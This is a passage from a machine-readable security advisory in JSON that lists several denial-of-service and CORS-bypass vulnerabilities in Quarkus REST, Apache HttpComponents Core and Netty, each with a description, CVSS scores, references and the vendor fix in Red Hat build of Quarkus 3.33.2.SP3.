          "text": "A flaw was found in Quarkus REST. An unauthenticated remote attacker can exploit this vulnerability by sending a crafted multipart/form-data request with an excessively large header section. This unbounded accumulation of MIME part-header bytes can exhaust the Java Virtual Machine (JVM) heap memory, leading to an OutOfMemoryError. The primary consequence is a denial of service, causing the application to crash.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.quarkus/quarkus-rest: io.quarkus/quarkus-vertx-http: io.quarkus.resteasy.reactive/resteasy-reactive: Quarkus REST - Unbounded multipart MIME part-header accumulation allows remote OOM denial of service",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important flaw in Quarkus REST / RESTEasy Reactive\u0027s MultipartParser, allowing an unauthenticated remote attacker to cause a denial of service. By sending a crafted multipart/form-data request with an excessively large part-header section, the attacker can exhaust the JVM heap, leading to application crashes. This vulnerability does not require valid form field names or authentication.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-16308"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506373",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506373"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-16308",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16308"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-16308",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16308"
        }
      ],
      "release_date": "2026-07-29T13:19:42.315000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.quarkus/quarkus-rest: io.quarkus/quarkus-vertx-http: io.quarkus.resteasy.reactive/resteasy-reactive: Quarkus REST - Unbounded multipart MIME part-header accumulation allows remote OOM denial of service"
    },
    {
      "cve": "CVE-2026-54399",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-07-01T18:02:08.214968+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2496101"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Apache HttpComponents Core. This uncontrolled resource consumption vulnerability in the HTTP/1.1 message parser allows a remote attacker to cause a denial of service through memory exhaustion. This can be triggered by sending messages with an excessive number of headers or excessive header length.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "org.apache.httpcomponents.core5/httpcore5: Apache HttpComponents Core: Denial of Service via excessive HTTP headers",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Important: This flaw in Apache HttpComponents Core allows a remote attacker to cause a denial of service by sending HTTP/1.1 messages with an excessive number or length of headers. This can lead to memory exhaustion in applications using the affected HTTP/1.1 message parser, impacting service availability.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-54399"
        },
        {
          "category": "external",
          "summary": "RHBZ#2496101",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2496101"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-54399",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54399"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-54399",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54399"
        },
        {
          "category": "external",
          "summary": "http://www.openwall.com/lists/oss-security/2026/07/01/4",
          "url": "http://www.openwall.com/lists/oss-security/2026/07/01/4"
        },
        {
          "category": "external",
          "summary": "https://lists.apache.org/thread/zmxh1pl2zohov5ntdh4lt85gfrlchgpy",
          "url": "https://lists.apache.org/thread/zmxh1pl2zohov5ntdh4lt85gfrlchgpy"
        }
      ],
      "release_date": "2026-07-01T17:02:21.778000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        },
        {
          "category": "workaround",
          "details": "To mitigate this issue, configure an upstream proxy or web application firewall (WAF) to enforce limits on the number and length of HTTP headers. This prevents malformed requests from reaching and exhausting the vulnerable Apache HttpComponents Core component. Consult your proxy or WAF documentation for specific configuration. A service restart may be required for changes to take effect.",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "org.apache.httpcomponents.core5/httpcore5: Apache HttpComponents Core: Denial of Service via excessive HTTP headers"
    },
    {
      "cve": "CVE-2026-54428",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-07-01T18:02:25.195687+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2496106"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Apache HttpComponents Core. This vulnerability, located in the HTTP/2 HPACK decoder, allows a remote attacker to cause a denial of service. By sending oversized compressed header blocks, an attacker can exhaust memory resources before the system\u0027s configured header list size limit is applied. This can lead to the affected system becoming unresponsive.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "org.apache.httpcomponents.core5/httpcore5-h2: Apache HttpComponents Core: Denial of Service via oversized HTTP/2 HPACK header blocks",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important denial of service vulnerability in Apache HttpComponents Core. The HTTP/2 HPACK decoder is susceptible to memory exhaustion when processing oversized compressed header blocks from a remote attacker. This occurs before the system\u0027s configured header list size limits are applied, potentially rendering affected Red Hat products unresponsive.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-54428"
        },
        {
          "category": "external",
          "summary": "RHBZ#2496106",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2496106"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-54428",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54428"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-54428",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54428"
        },
        {
          "category": "external",
          "summary": "http://www.openwall.com/lists/oss-security/2026/07/01/3",
          "url": "http://www.openwall.com/lists/oss-security/2026/07/01/3"
        },
        {
          "category": "external",
          "summary": "https://lists.apache.org/thread/5zjp8vczvxq19pw2rvhs21q446bhl0sd",
          "url": "https://lists.apache.org/thread/5zjp8vczvxq19pw2rvhs21q446bhl0sd"
        }
      ],
      "release_date": "2026-07-01T17:03:53.938000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "org.apache.httpcomponents.core5/httpcore5-h2: Apache HttpComponents Core: Denial of Service via oversized HTTP/2 HPACK header blocks"
    },
    {
      "cve": "CVE-2026-55831",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-07-21T00:02:57.305291+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2503103"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty, a network application framework. A remote attacker, by sending a specially crafted SPDY/3.1 SETTINGS frame, could cause the SPDY SETTINGS decoder to create a large number of map entries. This excessive processing and memory allocation can lead to a denial of service (DoS) due to heap growth and increased CPU usage.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http: Netty: Denial of Service via SPDY SETTINGS frame processing",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important denial of service flaw in Netty\u0027s SPDY SETTINGS decoder, allowing a remote unauthenticated attacker to exhaust system resources. By sending a specially crafted SPDY/3.1 SETTINGS frame, an attacker can cause excessive memory allocation and CPU usage, leading to a denial of service. This vulnerability has a low attack complexity and requires no user interaction or privileges.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-55831"
        },
        {
          "category": "external",
          "summary": "RHBZ#2503103",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2503103"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-55831",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55831"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-55831",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55831"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b",
          "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6",
          "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w"
        }
      ],
      "release_date": "2026-07-20T23:00:31.859000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.netty/netty-codec-http: Netty: Denial of Service via SPDY SETTINGS frame processing"
    },
    {
      "cve": "CVE-2026-55833",
      "cwe": {
        "id": "CWE-409",
        "name": "Improper Handling of Highly Compressed Data (Data Amplification)"
      },
      "discovery_date": "2026-07-21T00:01:25.203265+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2503101"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty, a network application framework. A remote attacker could exploit a vulnerability in the SPDY header decoding process. By sending a specially crafted, small compressed header block, the attacker can cause it to expand significantly during decompression, leading to excessive CPU usage and memory allocation. This can result in a denial of service (DoS) due to resource exhaustion.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "netty: io.netty/netty-codec-http: Netty: Denial of Service via SPDY header decompression amplification",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important denial of service vulnerability in Netty\u0027s SPDY header decoding. A remote, unauthenticated attacker can send a small, compressed SPDY header block that, during decompression, expands significantly beyond configured limits. This leads to excessive CPU and memory consumption, potentially causing resource exhaustion and service unavailability in affected Red Hat products that utilize Netty with SPDY.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-55833"
        },
        {
          "category": "external",
          "summary": "RHBZ#2503101",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2503101"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-55833",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55833"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-55833",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55833"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b",
          "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6",
          "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c"
        }
      ],
      "release_date": "2026-07-20T23:18:07.893000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "netty: io.netty/netty-codec-http: Netty: Denial of Service via SPDY header decompression amplification"
    },
    {
      "cve": "CVE-2026-55851",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-07-21T22:43:00.311516+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2505698"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty\u0027s codec-haproxy module. A remote attacker could exploit a vulnerability in the HAProxyMessageDecoder by sending a specially crafted PROXY protocol v2 message. This leads to unbounded buffer accumulation, causing a denial of service (DoS) due to memory exhaustion.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-haproxy: Netty codec-haproxy: Denial of Service via crafted PROXY protocol v2 message",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-55851"
        },
        {
          "category": "external",
          "summary": "RHBZ#2505698",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2505698"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-55851",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55851"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-55851",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55851"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b",
          "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6",
          "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-q6cq-mhr2-jmr5",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-q6cq-mhr2-jmr5"
        }
      ],
      "release_date": "2026-07-21T21:22:34.879000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.netty/netty-codec-haproxy: Netty codec-haproxy: Denial of Service via crafted PROXY protocol v2 message"
    },
    {
      "cve": "CVE-2026-56745",
      "cwe": {
        "id": "CWE-772",
        "name": "Missing Release of Resource after Effective Lifetime"
      },
      "discovery_date": "2026-07-21T22:52:47.296001+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2505911"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty. A remote attacker can exploit a vulnerability in the `SpdyHttpDecoder` handler of Netty\u0027s SPDY-to-HTTP codec. When processing a client-initiated `SYN_STREAM` frame, the decoder fails to release allocated memory if the stream is reset or content limits are exceeded. This oversight leads to native memory exhaustion, which can result in a Denial of Service (DoS) for the affected system.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "netty: io.netty/netty-codec-http: Netty: Denial of Service via memory exhaustion in SPDY-to-HTTP codec",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important denial of service vulnerability in Netty\u0027s SPDY-to-HTTP codec, affecting Red Hat products that utilize vulnerable versions of Netty. A remote, unauthenticated attacker can exploit a memory leak in the `SpdyHttpDecoder` by sending specially crafted `SYN_STREAM` frames, leading to native memory exhaustion and a denial of service for the affected system.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-56745"
        },
        {
          "category": "external",
          "summary": "RHBZ#2505911",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2505911"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-56745",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56745"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-56745",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56745"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b",
          "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6",
          "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq"
        }
      ],
      "release_date": "2026-07-21T21:31:25.307000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "netty: io.netty/netty-codec-http: Netty: Denial of Service via memory exhaustion in SPDY-to-HTTP codec"
    },
    {
      "cve": "CVE-2026-56746",
      "cwe": {
        "id": "CWE-807",
        "name": "Reliance on Untrusted Inputs in a Security Decision"
      },
      "discovery_date": "2026-07-21T22:30:30.983812+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2505422"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty, a network application framework. A remote attacker can bypass security controls in the `CorsHandler` component by sending a specially crafted request with a null origin header. This bypasses the intended access restrictions, allowing unauthorized requests to reach the backend application. This could lead to a compromise of data integrity by allowing unauthorized actions.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http: Netty: Security control bypass allows unauthorized requests via null origin header",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-56746"
        },
        {
          "category": "external",
          "summary": "RHBZ#2505422",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2505422"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-56746",
